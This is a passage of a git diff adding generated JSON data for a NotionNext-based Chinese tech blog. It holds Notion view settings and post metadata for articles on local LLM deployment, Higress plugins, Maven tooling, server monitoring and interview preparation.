b-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/category.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/category.json new file mode 100644 index 000000000..09e0b5f60 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/category.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-2